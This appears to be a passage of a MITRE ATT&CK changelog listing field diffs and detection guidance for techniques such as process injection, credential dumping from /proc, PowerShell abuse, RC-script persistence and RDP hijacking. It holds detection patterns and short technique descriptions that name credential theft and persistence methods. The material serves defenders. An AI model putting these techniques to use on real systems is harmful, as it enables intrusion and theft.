modified2025-04-15 22:57:26.573000+00:002025-10-24 17:48:21.118000+00:00
x_mitre_detectionMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. + +Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

[T1205.001] Traffic Signaling: Port Knocking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:21.421000+00:002025-10-24 17:49:04.301000+00:00
x_mitre_detectionRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

[T1547.010] Boot or Logon Autostart Execution: Port Monitors

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:26.452000+00:002025-10-24 17:48:42.872000+00:00
x_mitre_detectionMonitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. + +Monitor Registry writes to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors, paying particular attention to changes in the "Driver" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)

[T1055.002] Process Injection: Portable Executable Injection

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Access', 'Process: OS API Execution', 'Process: Process Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:15.984000+00:002025-10-24 17:49:01.839000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1653] Power Settings

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:18.299000+00:002025-10-24 17:49:33.435000+00:00
x_mitre_detectionCommand-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. +

[T1059.001] Command and Scripting Interpreter: PowerShell

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Script: Script Execution', 'Process: Process Creation', 'Process: Process Metadata', 'Command: Command Execution', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:52.378000+00:002025-10-24 17:49:07.660000+00:00
x_mitre_detectionIf proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. + +Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) + +It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data. + +Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.(Citation: inv_ps_attacks)

[T1546.013] Event Triggered Execution: PowerShell Profile

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:06.292000+00:002025-10-24 17:48:24.124000+00:00
x_mitre_detectionLocations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include: + +* $PsHome\Profile.ps1 +* $PsHome\Microsoft.{HostProgram}_profile.ps1 +* $Home\\\[My ]Documents\PowerShell\Profile.ps1 +* $Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1 + +Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.

[T1542] Pre-OS Boot

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Drive: Drive Modification', 'File: File Modification', 'Network Traffic: Network Connection Creation', 'File: File Creation', 'Process: OS API Execution', 'Driver: Driver Metadata', 'Command: Command Execution', 'Firmware: Firmware Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:45.876000+00:002025-10-24 17:49:01.466000+00:00
x_mitre_detectionPerform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. + +Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014)

[T1547.012] Boot or Logon Autostart Execution: Print Processors

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Driver: Driver Load', 'Module: Module Load', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:17.860000+00:002025-10-24 17:48:35.261000+00:00
x_mitre_detectionMonitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations. + +Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.

[T1552.004] Unsecured Credentials: Private Keys

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:35.201000+00:002025-10-24 17:48:50.819000+00:00
x_mitre_detectionMonitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.

[T1003.007] OS Credential Dumping: Proc Filesystem

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:57:59.661000+00:002025-10-24 17:48:36.165000+00:00
x_mitre_detectionTo obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.

[T1055.009] Process Injection: Proc Memory

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:08.263000+00:002025-10-24 17:49:25.806000+00:00
x_mitre_detectionFile system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1564.010] Hide Artifacts: Process Argument Spoofing

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:40.519000+00:002025-10-24 17:49:40.325000+00:00
x_mitre_detectionDetection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) + +Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.

[T1057] Process Discovery

Current version: 1.6

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:50.607000+00:002025-10-24 17:49:05.839000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). + +For network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.

[T1055.013] Process Injection: Process Doppelgänging

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:03.621000+00:002025-10-24 17:48:56.422000+00:00
x_mitre_detectionMonitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) + +Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1055.012] Process Injection: Process Hollowing

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:58.724000+00:002025-10-24 17:49:14.559000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) + +Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1055] Process Injection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Access', 'Process: Process Modification', 'File: File Modification', 'Process: Process Metadata', 'File: File Metadata', 'Process: OS API Execution', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:16.893000+00:002025-10-24 17:48:43.053000+00:00
x_mitre_detectionMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) + +Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. + +Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) + +Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1572] Protocol Tunneling

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:29.875000+00:002025-10-24 17:48:45.888000+00:00
x_mitre_detectionMonitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. + +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

[T1001.003] Data Obfuscation: Protocol or Service Impersonation

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:05.377000+00:002025-10-24 17:49:20.574000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1090] Proxy

Current version: 3.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:44.084000+00:002025-10-24 17:48:57.330000+00:00
x_mitre_detectionAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + +Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).

[T1055.008] Process Injection: Ptrace System Calls

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:25.896000+00:002025-10-24 17:49:33.344000+00:00
x_mitre_detectionMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1216.001] System Script Proxy Execution: PubPrn

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:14.984000+00:002025-10-24 17:48:22.022000+00:00
x_mitre_detectionMonitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.

[T1597.002] Search Closed Sources: Purchase Technical Data

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:58:36.430000+00:002025-10-24 17:48:22.109000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1059.006] Command and Scripting Interpreter: Python

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:08.245000+00:002025-10-24 17:49:23.660000+00:00
x_mitre_detectionMonitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.

[T1012] Query Registry

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Windows Registry: Windows Registry Key Access', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:58:50.612000+00:002025-10-24 17:49:20.660000+00:00
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + +Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1037.004] Boot or Logon Initialization Scripts: RC Scripts

Current version: 2.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may establish persistence by modifying RC scriptt1Adversaries may establish persistence by modifying RC script
>s, which are executed during a Unix-like system’s startup. T>s, which are executed during a Unix-like system’s startup. T
>hese files allow system administrators to map and start cust>hese files allow system administrators to map and start cust
>om services at startup for different run levels. RC scripts >om services at startup for different run levels. RC scripts 
>require root privileges to modify.  Adversaries may establis>require root privileges to modify.  Adversaries may establis
>h persistence by adding a malicious binary path or shell com>h persistence by adding a malicious binary path or shell com
>mands to <code>rc.local</code>, <code>rc.common</code>, and >mands to <code>rc.local</code>, <code>rc.common</code>, and 
>other RC scripts specific to the Unix-like distribution.(Cit>other RC scripts specific to the Unix-like distribution.(Cit
>ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde>ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde
>nWasp Map 2019) Upon reboot, the system executes the script'>nWasp Map 2019) Upon reboot, the system executes the script'
>s contents as root, resulting in persistence.  Adversary abu>s contents as root, resulting in persistence.  Adversary abu
>se of RC scripts is especially effective for lightweight Uni>se of RC scripts is especially effective for lightweight Uni
>x-like distributions using the root user as default, such as>x-like distributions using the root user as default, such as
> ESXi hypervisors, IoT, or embedded systems.(Citation: intez> ESXi hypervisors, IoT, or embedded systems.(Citation: intez
>er-kaiji-malware) As ESXi servers store most system files in>er-kaiji-malware) As ESXi servers store most system files in
> memory and therefore discard changes on shutdown, leveragin> memory and therefore discard changes on shutdown, leveragin
>g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo>g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo
>r enabling persistence across reboots.(Citation: Juniper Net>r enabling persistence across reboots.(Citation: Juniper Net
>works ESXi Backdoor 2022)  Several Unix-like systems have mo>works ESXi Backdoor 2022)  Several Unix-like systems have mo
>ved to Systemd and deprecated the use of RC scripts. This is>ved to Systemd and deprecated the use of RC scripts. This is
> now a deprecated mechanism in macOS in favor of [Launchd](h> now a deprecated mechanism in macOS in favor of Launchd.(Ci
>ttps://attack.mitre.org/techniques/T1053/004).(Citation: App>tation: Apple Developer Doco Archive Launchd)(Citation: Star
>le Developer Doco Archive Launchd)(Citation: Startup Items) >tup Items) This technique can be used on Mac OS X Panther v1
>This technique can be used on Mac OS X Panther v10.3 and ear>0.3 and earlier versions which still execute the RC scripts.
>lier versions which still execute the RC scripts.(Citation: >(Citation: Methods of Mac Malware Persistence) To maintain b
>Methods of Mac Malware Persistence) To maintain backwards co>ackwards compatibility some systems, such as Ubuntu, will ex
>mpatibility some systems, such as Ubuntu, will execute the R>ecute the RC scripts if they exist with the correct file per
>C scripts if they exist with the correct file permissions.(C>missions.(Citation: Ubuntu Manpage systemd rc)
>itation: Ubuntu Manpage systemd rc) 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Process: Process Creation', 'File: File Modification', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:13.566000+00:002025-10-24 17:49:28.955000+00:00
descriptionAdversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. + +Adversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. + +Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022) + +Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. + +Adversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. + +Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022) + +Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior. + +Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present.

[T1563.002] Remote Service Session Hijacking: RDP Hijacking

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 22:59:04.979000+00:002025-10-24 17:49:30.049000+00:00
x_mitre_detectionConsider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking. + +Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.

[T1542.004] Pre-OS Boot: ROMMONkit

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Firmware: Firmware Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:47:36.549000+00:002025-10-24 17:49:11.524000+00:00
x_mitre_detectionThere are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.

[T1547.007] Boot or Logon Autostart Execution: Re-opened Applications

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 20:37:22.343000+00:002025-10-24 17:49:32.375000+00:00
x_mitre_detectionMonitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.

[T1600.001] Weaken Encryption: Reduce Key Space

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
